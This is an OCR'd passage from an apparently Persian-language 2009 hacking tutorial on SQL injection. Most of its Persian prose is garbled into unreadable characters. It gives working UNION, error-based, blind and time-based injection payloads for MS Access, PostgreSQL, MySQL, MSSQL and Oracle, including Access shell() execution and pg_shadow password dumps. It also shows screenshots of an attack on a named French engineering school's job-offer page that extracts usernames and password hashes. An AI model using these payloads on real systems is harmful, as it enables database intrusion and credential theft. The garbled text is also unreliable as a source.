IS Wb, o g Bl og>gpus b gasdg owyp lP ule o 1HIN S L
209 (0 I 4 (o 99130 (8L (Sl 2 ) (ST o3

SELECT id FROM users WHERE username ='1' UNION SELECT #*
FROM test IN '. ' WHERE '1'='1' and password=""

s ol
Microsoft JET Database Engine error '80004005'
The Microsoft Jet database engine cannot open the file

'c:\windows\system32\inetsrv'. It is already opened exclusively by another
user, or you need permission to view its data

20 (0 0Ll 33 ) (Gomn> 3159 W10 b 9 BB 392 g (wyp Sy

SELECT id FROM users WHERE username ='1' UNION SELECT id
FROM test IN '<path to file>' WHERE '1'='1" and password=""

s ol
Microsoft JET Database Engine error '80004005'
Unrecognized database format 'c:\temp\file.txt'.

s g
o Jgd BB S B SO (99,10 9929 S

s ol
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Microsoft JET Database Engine error '80004005'
Could not find file 'c:\temp\nofile.txt'.

s g
1w 9929 B

s ol
Microsoft JET Database Engine error '80004005'
'c:\nmopath\nofile.txt' is not a valid path. Make sure that the path name is

spelled correctly and that you are connected to the server on which the file
resides.

s g
I 0929 (5595 w10

s ol
Microsoft JET Database Engine error '80004005'

The Microsoft Jet database engine cannot open the file 'c:\temp'. It is already
opened exclusively by another user, or you need permission to view its data.

s g
sl 392 90 45 Wil (0 (5598 219 3 35 3L 4O (Saw

3 Jole i 1 5 gawd (51 321 —
gt (o 393 Q195 31 0L b Wil (905 590 BB L g Ml Jled g SandBox
23035 15211, Jols i 1 5 giwd
CurDir[(drive)]
51> yo

Query: Select name from users where id ='l' union select
curdir () from msysaccessobjects where '1'='1l"

Dir[(pathname [, attributes] )]
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Gl 93130 PU 1 9 BB Slasuin b g o aduinn 5oRIT b 45 (5565 10 b g 1B Sy o
W P e K

Query: Select name from users where id ='l' union select
dir('c:\ ') from msysaccessobjects where '1'='1"

FileLen(pathname)
w41 Ja6 g 03

Query: Select name from users where id ='l' union select
filelen('c:\boot.ini') from msysaccessobjects where
11'="1"

GetAttr(pathname)
595 PO b g P Olasine

Query: Select name from users where id ='l' union select
getattr('c:\ ') from msysaccessobjects where '1l'='1l"

Shell(pathname [, windowstyle ])
dwg 3 dadio (i gas & Double piio S (yaild oF p g BB S (51 2!

Query: Select name from users where id ='l' union select
shell('<file to run>') from msysaccessobjects where
I1I=I1I

s ol

Microsoft JET Database Engine error
'80040e14' Invalid procedure call

s g
(9990 (w yiw) vumd Jlxo S (51 21
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PostgreSQL 49 & ¥

20 gui 0 (w3 9 DBMS (01 (sl F 339 paicho y9b &

tDBMS 4yl 3,55
SELECT username FROM pg_user;
SELECT username,password FROM pg_shadow ;
g3 Comed
SELECT datname FROM pg_database;
1 Jgue Cund
SELECT relname FROM pg_catalog.pg_class;
Wy g o

SELECT attname FROM pg_catalog.pg_attribute

239410 03Liu! 192 (38 o5 9o 51 9 OFFSET g LIMIT
9,10 &l y 3§y AN (g1 9 substr @b

D g 0 00! Alas oS § 519 &

9,10 51,6 @ascii & Joowd s 9 chr Qb

o gui 0 00wl Al y 90 Jlail (gl 3

ool b 8 5190 widlod CASE g CAST ol ygiawd

il 0 DBMS (s4su sovlin (51 9 vsersion() qb

o9 g 0 03wl (48 o5 CinlS (gl g9 /FF/ g —— 3

4y 3 getpgusername QU jf <8 gui 0 00wl (531> 9 U ()W (1 9 user GudS (saclS )i
oD gui o0 03! yglaio (ynod

il o (S8 il d sovaline (g1 9 Current_database()
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File Edit Wiew History Bookmarks Tools  Help
@ - c & 7Y I: I . php¥idofr=-74 union select 1,null,null, rull, rull, null, versiond ), rull, rull null, el Rll, Aol Al TT‘ = |
@ IMosk Visited ’ Getting Started |51 | Latest Headlines |j Customize Links |j Free Hotmail |j Windows tplace |j ‘windows Media |j Windows
= INT-1 & INT +1 = HEX-1 & HEX+1 MySOL  MsSQL %55 Encryption  Encoding  Other
s Load URL http: /fwnr. Target. con/php /candidatures/consultation offre.phpridofr=-74 union select 5
g% Splt URL 1,mall,rmall, mall mall mull,wersion ) oall,mall  mall  mall pall  raall ;all B
k) Execute
[] Enable Post data  [] Enable Referrer
= . Z ~
Ecole Nationale _
5, ) : 3 2
Supérieure des Mines
SAINT-ETIENN
I . r
Actualités
Offres d'emploi
Référence de I'offre
Date limite de candidature
Profil du poste
o S ] ﬁ‘os{greSQL 5.3.5 on sparc-sun-solaris2.9, compiled by GCC goo (GCC) 3.4.6]
Fibiepies: Candidature par voie postale uniguement
v

‘emploi : Admini: n - Mozilla Firefox
Eile Edit Miew Higtory EBookmarks Tools  Help
@B - c . ) I: .,“ L )J__lJvers\Un_() From _q,;__catalug_.p_g__class c LEFT JOII\! qt;_rt_:atal?g_.p_g__ljamespgce n ONnoid = c‘relnamesp_a:e T = )‘-— |
I:Pj Most Visited ’ Getting Started |5 | Latest Headlines |j Customize Links \:] Free Hotmail |j ‘Windows Marketplace Windows Media |j Windows
= JMT-1 @& INT+1 = HEX-1 & HEX+1 MySQL MsSQL  ®55  Enceyption  Encoding  Other
= Load URL http://wnr, Target. con/php /candidatures/consultation offre.php?idofr=-74 union select -~ =
Sg Spiit URL l,user,now(),4,versioni},current user,session_user,getpgusernane (), current_database(),casti{inet_server_addr(] a=s E i
2p text) ,wversioni) ,version(),l,version() from py_catalog.pyg class c LEFT JOIN pyg_catalog.pyg namespace n ON n.oid = =
e Exzecute C.relnamespace v
[1 Enable Post data [ Enable Referrer
le - Uttres d'em iIOI . ‘ .i H ~
" = =
PostgresSQL 8.3.5 on sparc-sun-solaris2.9, compiled by GCC gcc {GCC)
3.4.6
rence de I'offre ucandidaiures
Date limite de candidature | 050172008 141325
Description
Jucandidatures
Profil du poste
Jucandldatures
............ Missions
Jucandidatures
R
Jcandldatures
Conditions de recrut: nt
J1 9348172193032
Modalité de i =
JPostgreSQL 8.3.5 on sparc-sun-solaris2.9, compiled by GCC goo (GCC) 346
En savoir plus =
JPnstgreSQL 8.3.5 on sparc-sun-solaris2 9, compiled by GCC goo (GCC) 346
[ ]
\ o
Dane
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File Edit Wiew History Bookmarks  Tools  Help
@ e c p {at (118)] [ CHREL 1) [CHROS7) ICHREL LS |CHR{116))) AMD pa_catalog.pa_table_jis_visiblefc, oid) limit 1 offsst 1 1? i |
|5] Most visited P Getting Started [ Latest Headines |:] Custarnize Links |j Free Hotmail |l] Windows Markat?m\ndows Media ﬂ Windows
= INT-1 @ INT+1 = HEX-1 & HEX+1 MySQL Ms5QL XS5  Encryption  Encoding  Other
s Load URL http: /jwmnr. ense. fr/php/oandidatures/consultation offre.php?idofr=-74 union select | -
g'g Split URL L,null,null,mall,mall,nall,c.relname ,oall oall oull,null, mall,nall,null from pg_catalog.pg_claess o LEFT JOIN o
Ea pg_catalog.py namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (CHR(114),null) AND n.nspname NOT IN
2] Execute CER(112) | ICHR(103) | |CHE(95) | ICHR{99) | ICHR(97) | [CHR(1Lla) | [CHR(97) | |CHR(L08) | ICHR{111)||CHR{L103}),{
CER(112) | |CHR(103) | |CHE(95) | ICHR{116) | |CHR (111} [ ICHR(97) | ICHR(1LS) | |CHR{Ll16))) AND pgy_catalog.pg_table_is_wisibleic.oid] —
limit 1 offset 1 v
[[] Enable Post data  [] Enable Referrer
Ecole Nationale S &
= Fi % E
Supérieure des Mines
SAINT-ETIENNE Le [Plan du s
A lité
ctualites
Offres d'emploi
Référence de I'offre
Date limite de candidature
Profil du poste
! catenories_cty
) Candidsture par voie postale uniguement
5 oo
-ld ) fHau
I‘( M

File Edit Miew History Bookmarks Tools  Help

@ = C il

|8 Mast visited ¥ Getting Started 5| Latest Headlines ﬂ Customize Links \j Free Hotmail |:] twindows Marketplate |j tWindows Media ﬂ ‘windows

|,ridll username_ust,password_usr, cast(level_usr as test),null,null, null,mul,null Fram users_ust limit 1 offset 0

= INT-1 @ INT+1 = HEX-1 & HEX+1 MySQL  MsSQL %S5 Enceyption  Encoding  Other

@  Load URL http: //wmr. Target. com/php/candidatures /consultation offre.php?idofr=-74 uunion select =

g'g Split LRL 1,muall,null,null,null,mall username usr,password usr,casti{level usr as text),mull,mull,null,null,null from users_usr u
=2 linit 1 offset 0
¥ Execute
[] Enable Past data [ Enable Referrer

3

Ecole Nationale
Supérieure des Mines

otre Ecole

Actualités

Offres d'emploi

Référence de I'offre
Date limite de candidature

Profil du poste
Jber{hazene

Missions
JE1 Oadc3948bas9abbeste0s? 1201563
Ratt

J1

Candidature par vole postale uniguement

Annuler b
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Wl (0 23 @90 4 @y E ) Query

... 1d=12 or 1=CAST(version() AS int)

Ay A5 1y A g WO 5 (0 g9 Ay yINR0 S A5 310 41 8 Query oyl 0 version() gl @
35T Sy 99 (o0 25 S sl ply & 90
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((Blind SQL Injection) yo5 &y

sg=dttin 4 UNION 31 o8liiut &) y3B lows &5 WT 0 i A BQuery 3 oo 4o
3 Gt ol NS A0 J9WO Wil gi 0 JISEN (1 Jb> o Ao (59 5 DNy
it Ly T i 19 om0l € 39 iy 15 1y g OIS i g5 03wl i i UNTON
) 45 WT (50 it 303 93190 (AR 30« oo g LG E93 U g Jgu PO 1 Sl 0Lt by g
31 ool 43 JOB O pF 0 41 8 Query gd 30 dgu oo 48 ¥ URL 40 a5 logs T asuf Judo
2pwnnsd UNION

71d=123
SELECT title,content FROM T_News WHERE nid=123
SELECT title FROM T_News_Old WHERE nid=123

g O 35 08wt UNION ,giwd 31 oyl g i O ¥ 0 41 8 Query 9o 49 123 (592 bt o
S gm0 4190 JSiwo b WU s Query jf (N

SOlEND S 4 S oS (5120 9020 OR b g AND jgaud 9 31 ol giom Lia! 48
Wilgi oo Lo Tl b ol w38 B s S0 45 195 (o0 Lo 49 59 g 451 .8 5 S5 (39 @0
2y L0 901y 335 S8 sl Jbo (5150 e ¢ Dg 4 (JNgw i (5 5b S wiilod

www.NewsSite.com/news.php?id=123

?1d=123 OR 1=(SELECT IFNULL((SELECT 0 FROM
information_schema.tables WHERE 1=1 limit 1 offset 0), 1))

o A2 o gitd 15,5098 9! 998 NULL & 590 48 98 o5 o0 (slog 7 99 IFNULL s
S29=D dmtl) Jgl (log¥ 5T 45 uuiS SO0 F (o0 92 1y Tl @ 90 (il pé 90 g WIS F 0
00l LIMIT 1 OFFSET 1 & bs 3 brgl 40 45 wild 35 9 1, ylodio S daid a5 g a9
090 Gt o 38 &9 3900 39 8 o5 03l (T o1 WL 3 (sl g5 0 SDBMS b 38 g owl o
demd J90mtd 9 Cuomad 45 WIS o' 0 3 43 4l gits 1, 0 3 SELECT & ybs WHERE &y
© ygmd 39 Lot il g 0010 LS 123 g (g0 lod w S g o0 false g Sgwio 1=0
1=1 B gt 49 90 098 © 515 (Sl S 33 dilnod L g 3590 (31 33 &) by (y3 99 oLt
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DBMS & guet el cawl (3K00 L g (31 Al o0l 193 0010 4Ll (5 500 (saxi0 g dgu(
3 3 gl s T3 i A9 g S 00 g 0 (501 ) ©8 g AF DS o lod Ao 0 1y B pS ool
55 odlait 0 slrol,y

20,5 ooliut y 3 Al IaQuery j Igion OLEND [uwaS (g soks0 4 Jb>

71d=123 OR 1=(SELECT IFNULL((SELECT 0 FROM
information_schema.tables WHERE table_name<'B' limit 1 offset 0), 1))

Jgum L (d g1 45 S 353 JU> wpomnd 9350 1) SR QUETY i o0 45 G A0 &) iy

2wl 55 5 39 510 (g ki Job 45 (o i y (4T ascii U (9093 (S D390 30 9 Sgdi 0 4 5
'A' <7
et
<'a
a'<'z
'ADE' < 'ADF'
'AD' <'ADG'

LI}

NULL yludo SELECT (g2 s wi1g3> 0318 oylid (5 5599 (saxio YU Query (gammdd 48 w
J=>10 39 (29939 9 Jof S50 38 00w (Soim S b Jooro 5ob 4 Jb> cCanf 0l 5
o 50 19 4 SR

71d=123 OR 1=(SELECT IFNULL((SELECT 0 FROM
information_schema.tables WHERE table_name<'C' limit 1 offset 0), 1)) =» false
71d=123 OR 1=(SELECT IFNULL((SELECT 0 FROM
information_schema.tables WHERE table_name<'D' limit 1 offset 0), 1)) =» true

71d=123 OR 1=(SELECT IFNULL((SELECT 0 FROM
information_schema.tables WHERE table_name<'CM' limit 1 offset 0), 1)) =»
false

2id=123 OR 1=(SELECT IFNULL((SELECT 0 FROM

information_schema.tables WHERE table_name<'CG' limit 1 offset 0), 1)) =»
true : 'CG'< && <'CM'
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SLRDBMS 48« (59 3 15 Soio DEND! Con 4 S 1500 Ui g v b (0 U
LT saod 40 ¥ gon0 CASE jgawd 45 9,18 )15 Ly (bl (5 9 (ilidio O gawd Aliko
3O NVL 2L 31 o3 guutd 08kt 1930 39 MSSQL 48 COALESCE &G 31 .0 ,18 41

Dgw (0 00l yglaio (f 4 3 Oracle

?id=123 AND 1=(COALESCE((SELECT TOP 1 table_name FROM
information_schema.tables WHERE 1=1),0))

2id=123 AND I=(NVL((SELECT 1 FROM all_tables WHERE 1=1),0))

68 guunit st Dl M| JEEH B o 500 ) lo ) S0 [=1 Pgd Cuowd &5 (B9 92>
Ol (o (sai0 Wi =1 B g 51 i) 49 S g0 00| AND 31 OR (s> @ ¥ oo
daid! 08 gm0 BB SEND (il i 99 (o ol 9o 1=0 © 590 38 9w B9 0818
vt NULL Q) j quui® 30 A & g’ 00l 2’ yli0 31 090 g,l.o,fﬁ 390\ b & Hlg»
Sgw 2l Il ply g dgw 1="a’ b o SELECT

291y > lo) g9 (o 595 3355 PU 4 9,10 9929 395 335 39 W SN EY
o limo (5 A 43 (5 Wl Zud 45 8 0 (0 41 )5 Query O ouh 4D )5 (5999 AT W Sy 1N
D gttt 30 Gt 30 g Ol CIL> ) Juned (5139 (51 09w WU 9y (1 31 o0 )10 A0 4O U
oluii! O 90 38 Win .S gw (0 03! DBMS (985wl loy 31 Lrist 8 ool 4iitd Query
K0 (99 T U590 30 9 BN |y D19 L g WS w0 4l Wi> DBMS by 509
2 g

Vi ) 93y 39 09,10 392 9 JUF (91 (o1 0 (Ao S 09w (o s DBMS 4o

1S 3 e g 4 g0d
tMySQL
SELECT BENCHMARK(1000000, MD5('C"));
SELECT SLEEP(5); /*>=5.0.12%/
1digod 1 9
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... 1d=12 and 1=IFNULL((SELECT BENCHMARK (1000000, MD5('C")) FROM
TBL_Admins WHERE adm_pass>'a' LIMIT 1 OFFSET 0),0)/*

g oWy (0 bo 4 4l £ 990 1w D199 (il Cuw g0 adm_pass>'a' b g §F1 Aigod o9l 4O
oy W93 Ao © 390 (1 i 43

sMSSQL
IF(1=1) WAITFOR DELAY '0:0:5";

190 ol 9

... 1d=12; IF(1=(SELECT 1 FROM TBL_Admins WHERE adm_pass>'a' LIMIT 1
OFFSET 0)) WAITFOR DELAY '0:0:5%

{Oracle & MSACCESS

o (5 9> Pl dd 0099 (50905 g 3 S S (0 03kt Lxid! 40 &5 (W
0 A (B g 489 Sl (51 g9 O gu (0 3 39 B DBMS gl (gl 8 &5 (HeavyQuery)
29550 (31 (81 08 55 00ll gy (1 31 19 (0 951 D92 g w9y T 0 © 90 4 DBMS
OT 31 g M (om0 JOIN ol byl i 1y i 3595 5 (501 § S0t (51,10 &F Jguo> Sy
= Sy g 2 4930 sl I 53 J9i2 W (F59 0 p0 b Join (492 o (oo Count(*)
3 55 00kt jlw 4ddg b gy 5 @ OT 1 19 (o S

tdig0d ol

... 1d=12 and 1=(

IF (1=1)

THEN

(SELECT COUNT(*) FROM news nl, news n2, news n3 limit 1 offset 0)
ELSE

(SELECT 1)

)
4> g5 Wb Al 09wy Wilgi (0 B Joua Join Slui g 0899 HeavyQuery & pyle> b

iy 015 Jgur b 9555 Slusi a5 8 )5

Page 79 Black.Shadowes | copyright © 2009

| SOSCSUSOSOSOSOSOSOSUSOSOSOSOSOSOSUSUSOSOSOSOSOSUSOSOSOSOSOSUSOSOSOSOSOSOSUSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSUSOSOSOSOSOSOROSOSOSOS0R0RC



005 JWN 99y S g 59 S i 2 g Canl o g1 o gy 3 5 I o
St Oy guui 30 Al O g (o0 WEMD! 40 5T iy 30 Uas Syl Csly 59 gw 4 WD
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